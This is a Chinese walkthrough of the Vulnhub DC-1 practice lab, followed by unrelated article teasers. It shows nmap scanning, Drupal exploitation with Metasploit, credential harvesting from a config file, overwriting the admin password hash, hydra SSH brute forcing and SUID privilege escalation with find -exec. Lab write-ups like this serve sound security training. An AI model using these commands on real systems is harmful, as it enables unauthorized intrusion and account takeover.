Vulnhub靶场 | DC系列 - DC1

https://www.vulnhub.com/series/dc,199/

环境搭建

  1. 靶机镜像下载地址:https://www.vulnhub.com/entry/dc-1,292/;
  2. 需要将靶机和 kali 攻击机放在同一个局域网里;
  3. 本实验kali 的 IP 地址:192.168.10.146。

渗透测试

1. 信息收集

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

在这里插入图片描述

分析可知,靶机 ip 为 192.168.10.147

对靶机进行端口扫描

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.147

在这里插入图片描述

由结果可知,靶机开放了ssh、http和rpcbind服务。

探测对应服务的版本信息

┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p22,80,111 192.168.10.147

在这里插入图片描述

web 指纹识别

┌──(root💀kali)-[~/桌面]
└─# whatweb http://192.168.10.147

在这里插入图片描述

发现该网站是 drupal[//]: # (Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。),属于 cms 系统之一。

访问网站看一看…
在这里插入图片描述

也可以使用wapp插件查看网站基本信息。
在这里插入图片描述

很明显,我们看到网站的 cms,可以直接在网上搜索这个 cms 的漏洞利用方式
在这里插入图片描述

2. 漏洞利用

使用 metasploit 对漏洞进行利用。

启动 metasploit,搜索 drupal 模块。
在这里插入图片描述

经测试可以采用exploit/unix/webapp/drupal_drupalgeddon2,即:

配置参数(payload、rhosts、lhost),开始攻击,成功建立会话。
在这里插入图片描述

查看网站目录结构,发现 flag1:
在这里插入图片描述

查看 flag1.txt内容,有一个提示信息:需要一个 config file
在这里插入图片描述

进入系统的 shell,并使用python -c "import pty; pty.spawn('/bin/bash');"获得一个交互shell。
在这里插入图片描述

根据上面flag1.txt的提示,在网站目录中寻找相应的配置文件(当然没有提示,也应该寻找看一下,毕竟是敏感文件)。
在这里插入图片描述

内容如下:发现flag2、数据库名、用户名、密码
在这里插入图片描述

flag2提示:“暴力和字典攻击不是获得访问权限的唯一方法(你将需要访问权限)。你能用这些证书做什么?”

使用获取的数据库用户名和密码登录数据库:
在这里插入图片描述

发现该用户只能管理drupaldb数据库。进入数据库,查看库中的表
在这里插入图片描述

发现有个users表
在这里插入图片描述

查看 users 表中的内容:由于列数比较多,查看内容比较乱,可以使用select * from users\G;查看
在这里插入图片描述

或者:先看看表结构
在这里插入图片描述

查看name和pass列
在这里插入图片描述

该密码不是普通的加密,有可能是网站自己的加密方式。尝试搜索一下相关文件~
在这里插入图片描述

搜索到了一个./scripts/password-hash.sh看似与密码有关。查看文件内容,得知为php脚本,作用是生成一个hash密码。
在这里插入图片描述

使用该脚本生成一个简单的密码,比如123456。将数据库中的密码覆盖掉~

www-data@DC-1:/var/www$ php  ./scripts/password-hash.sh  123456

在这里插入图片描述

覆盖 admin 的密码:

mysql> update users set pass="$S$D3JWVJTOOlXIz0t1Nf.8eg5MrBOqhCVsn.z7m/P4wf4H.OoLYlAf" where name="admin";

在这里插入图片描述

登录网站:
在这里插入图片描述

登录成功。
在这里插入图片描述

在 Dashboard 中发现 flag3 给的提示:

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

特殊的PERMS将有助于找到passwd-但您需要执行该命令以确定如何获取shadow中的内容。

在这里插入图片描述

查看 /etc/passwd 文件。
在这里插入图片描述

发现 flag4,flag4是一个普通用户。

尝试查看flag4用户的家目录,确实存在flag4.txt文件,
在这里插入图片描述

提示信息为:在root里?

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

当然如果没有权限访问/home/flag4/flag4.txt,则需要登录flag4用户。由于该服务器也开放了 22 端口,我们可以使用hydra工具爆破flag4用户的密码:

┌──(root💀kali)-[~/桌面]
└─# hydra -l flag4 -P /usr/share/john/password.lst 192.168.10.147 ssh

在这里插入图片描述

爆破结果:密码为orange。

使用 ssh 连接,发现最后一个 flag 的提示信息:in root。

进入 root 目录,发现权限不够,需要提权

在这里插入图片描述

3. 提权

首先想到使用 suid 提权找到一个属于 root 的有 s 权限的文件。

  • SUID(Set User ID),SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

常见的可用于 SUID 提权的文件有:

find、bash、nmap、vim、more、less、nano、cp 
//当没有s权限时可以使用:chmod u+s 命令路径,增加权限

查找哪些命令具备 SUID 标识

相关命令:

find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

使用find命令进行提权:

利用 find 命令随便查找一个正确的文件(夹)路径,后面加上 -exec shell 命令 \;

提权 /bin/bash 或者 /bin/sh

www-data@DC-1:/var/www$ find cron.php -exec "/bin/bash" \;
find cron.php -exec "/bin/bash" \;
bash-4.2$ find cron.php -exec "/bin/sh" \;  
find cron.php -exec "/bin/sh" \;
# whoami
whoami
root
# 

在这里插入图片描述

成功提权!拿到最后一个 falg!
在这里插入图片描述

Reference:DC-1

  • https://blog.csdn.net/weixin_45677119/article/details/111770003

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/44721.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CH16-DOM元素增删改

CH16-DOM元素增删改 本章目标 掌握如何使用DOM获取节点时使用的属性熟练使用DOM节点进行创建、添加、删除、替换 一、使用DOM获取节点时使用的属性 1.1 首尾子节点 firstChild:获取当前节点的首个子节点,注意:换行符、空格等也是节点。 …

【逆向】-异或-分组异或2

IDA查看源代码 src长度32,encrypt函数加密,工4个参数,_FFFC双击,可以看到是个长度为7的固定值FnTest! 加密函数将4个参数又重新命名,混淆视听,但是还是可以看到是嵌套循环,动态调试直接看结果可…

C++11中重要的新特性之 lambda表达式 Part two

序言 在上一篇文章中,我们主要介绍了 C11 中的新增的关键词,以及 范围for循环 这类语法糖的使用和背后的逻辑。在这篇文章中我们会继续介绍一个特别重要的新特性分别是 lambda表达式 。 1. lambda表达式 1.1 lambda的定义 C11 中的 lambda表达式 是一种…

Java基础之集合

集合和数组的类比 数组: 长度固定可以存基本数据类型和引用数据类型 集合: 长度可变只能存引用数据类型存储基本数据类型要把他转化为对应的包装类 ArrayList集合 ArrayList成员方法 添加元素 删除元素 索引删除 查询 遍历数组

Linux: Mysql环境安装

Mysql环境安装(Centos) 前言一、卸载多余环境1.1 卸载mariadb1.2 查看并卸载系统mysql和mariadb安装包 二、换取mysql官方yum源三、安装并启动mysql服务3.1 yum源加载3.2 安装yum源3.3 安装mysql服务3.3.1 安装指令3.3.2 GPG密钥问题解决方法3.3.3 查看是…

循环结构(一)——for语句【互三互三】

文章目录 🍁 引言 🍁 一、语句格式 🍁 二、语句执行过程 🍁 三、语句格式举例 🍁四、例题 👉【例1】 🚀示例代码: 👉【例2】 【方法1】 🚀示例代码: 【方法2】…

Cartographer重入门到精通(二):运行作者demo及自己的数据集

在demo数据包上运行cartographer 现在Cartographer和Cartographer的Ros包已经都安装好了,你可以下载官方的数据集到指定的目录(比如在Deutsches Museum用背包采集的2D和3D 数据),然后使用roslauch来启动demo。 注:la…

IO半虚拟化-Virtio学习笔记

参考:《深入浅出DPDK》及大佬们的各种博客 Virtio简介&运行环境 Virtio 是一种用于虚拟化环境中的半虚拟化 I/O 框架,目的是在虚拟机和主机之间提供一种高效的 I/O 机制。关于什么是半虚拟化和全虚拟化:见SR-IOV学习笔记。 YES&#xf…

PDMS二次开发(二十二)——关于1.0.3.1版本升级内容的说明

目录 1.更新内容介绍2.效果演示3.关于重构自动添加焊口功能的说明3.1错误示例 3.问题交流1.创建焊口提示失败2.程序崩溃 1.更新内容介绍 在添加焊口之前先清除当前branch已有焊口;显示清除焊口的个数和添加焊口的个数;重构了自动添加焊口功能&#xff0…

值得关注的数据资产入表

不错的讲解视频,来自:第122期-杜海博士-《数据资源入表及数据资产化》-大数据百家讲坛-厦门大学数据库实验室主办第122期-杜海博士-《数据资源入表及数据资产化》-大数据百家讲坛-厦门大学数据库实验室主办-20240708_哔哩哔哩_bilibili

《A++ 敏捷开发》- 10 二八原则

团队成员协作,利用项目数据,分析根本原因,制定纠正措施,并立马尝试,判断是否有效,是改善的“基本功”。10-12章会探索里面的注意事项,13章会看两家公司的实施情况和常见问题。 如果已经获得高层…

java中的String 以及其方法(超详细!!!)

文章目录 一、String类型是什么String不可变的原因(经典面试题)String不可变的好处 二、String的常用构造形式1.使用常量串构造2.使用newString对象构造3.字符串数组构造 三、常用方法1. length() 获取字符串的长度2. charAt() 获取字符串中指定字符的值 (代码单元)3. codePoin…

水的几个科学问题及引发的思考

水的几个科学问题及引发的思考 两个相同的容器A和B,分别装有同质量的水,然后,在A容器中加入水,在B容器中加入冰,如果加入水和冰的质量相同。问,容器B的水位将与容器A的水位相同吗(假设冰未融化时…

【ZooKeeper学习笔记】

1. ZooKeeper基本概念 Zookeeper官网:https://zookeeper.apache.org/index.html Zookeeper是Apache Hadoop项目中的一个子项目,是一个树形目录服务Zookeeper翻译过来就是动物园管理员,用来管理Hadoop(大象)、Hive&…

AR0132AT 1/3 英寸 CMOS 数字图像传感器可提供百万像素 HDR 图像处理(器件编号包含:AR0132AT6R、AR0132AT6C)

AR0132AT 1/3 英寸 CMOS 数字图像传感器,带 1280H x 960V 有效像素阵列。它能在线性或高动态模式下捕捉图像,且带有卷帘快门读取。它包含了多种复杂的摄像功能,如自动曝光控制、开窗,以及视频和单帧模式。它适用于低光度和高动态范…

QML界面控件加载与显示顺序

一、QML界面控件加载顺序 QML在界面加载时的顺序和我们认知的有很大的不同,有时候会对我们获取参数以及界面实现造成很大的困扰 1、加载顺序 import QtQuick 2.12 import QtQml 2.12 import QtQuick.Window 2.12 import QtQuick.VirtualKeyboard 2.4Window {id: …

九盾安防:如何调控叉车限速器的报警速度呢

在繁忙的物流仓储和制造业环境中,叉车是不可或缺的搬运设备。然而,其高速行驶也带来了潜在的安全隐患。为了确保作业人员和货物的安全,又车限速器的设置显得尤为关键。那么,如何调控叉车限速器的报警速度呢? 叉车限速器的速度调整…

复制vmware虚拟机文件并改名(文件名使用python替换)得到一台新的虚拟机

文章目录 需求实验复制文件夹并重命名使用python将所有文件名“WinSer2022”字符替换成“wingetmac”修改虚拟机配置文件(.vmx)打开新的虚拟机成功 需求 将已有的Winser2022虚拟机复制成wingetmac并开机 实验 复制文件夹并重命名 将"WinSer2022…

了解并缓解 IP 欺骗攻击

欺骗是黑客用来未经授权访问计算机或网络的一种网络攻击,IP 欺骗是其他欺骗方法中最常见的欺骗类型。通过 IP 欺骗,攻击者可以隐藏 IP 数据包的真实来源,使攻击来源难以知晓。一旦访问网络或设备/主机,网络犯罪分子通常会挖掘其中…

1559. 二维网格图中探测环

1559. 二维网格图中探测环 给你一个二维字符网格数组 grid ,大小为 m x n ,你需要检查 grid 中是否存在 相同值 形成的环。 一个环是一条开始和结束于同一个格子的长度 大于等于 4 的路径。对于一个给定的格子,你可以移动到它上、下、左、右…